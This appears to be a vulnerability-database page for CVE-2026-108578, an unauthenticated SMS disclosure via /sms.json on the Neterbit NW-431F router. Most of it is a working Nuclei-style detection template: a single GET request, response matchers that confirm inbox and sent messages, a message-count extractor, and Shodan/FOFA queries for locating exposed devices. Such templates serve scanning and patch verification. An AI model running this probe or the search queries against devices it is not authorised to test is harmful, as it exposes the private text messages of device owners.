CVE-2026-108578: Neterbit NW-431F - Unauthenticated SMS Disclosure

2026-10-17 PoC Public

Description

Neterbit NW-431F 20250715 contains an information disclosure vulnerability caused by manipulation in /sms.json of the Embedded Web Server, letting remote attackers access sensitive information, exploit requires no special conditions.

Details

CVE
CVE-2026-108578 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-108578

info:
  name: Neterbit NW-431F - Unauthenticated SMS Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
    Neterbit NW-431F 20250715 contains an information disclosure vulnerability caused by manipulation in /sms.json of the Embedded Web Server, letting remote attackers access sensitive information, exploit requires no special conditions.
  impact: |
    Remote attackers can disclose sensitive information, potentially compromising confidentiality.
  remediation: |
    Update to the latest version or apply vendor patches when available.
  reference:
    - https://github.com/KernelDotDLL/CVE-2026-108578
    - https://vuldb.com/vuln/416235
    - https://www.cve.org/CVERecord?id=CVE-2026-108578
    - https://nvd.nist.gov/vuln/detail/CVE-2026-108578
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-108578
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    vendor: neterbit
    product: nw-431f
    shodan-query: http.title:"Neterbit NW-431F"
    fofa-query: title="Neterbit NW-431F"
  tags: cve,cve2026,neterbit,nw-431f,exposure,sms,iot,unauth

http:
  - raw:
      - |
        GET /sms.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "\"list\"", "\"inbox\"", "\"sent\"")'
          - 'contains_all(body, "\"mms_index\"", "\"sender\"", "\"content\"")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"messages disclosed: " + to_string(len(split(body, "\"mms_index\"")) - 1)'
# digest: 4a0a004730450220621d3e1973abd4af512769b27d4398eaa700e7f05e3f30e648d2c53b5f94f58b022100e0476193b784a8256c84f8c93480aeb8e99976b7b71ec1e5bc42d0683247c9b9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life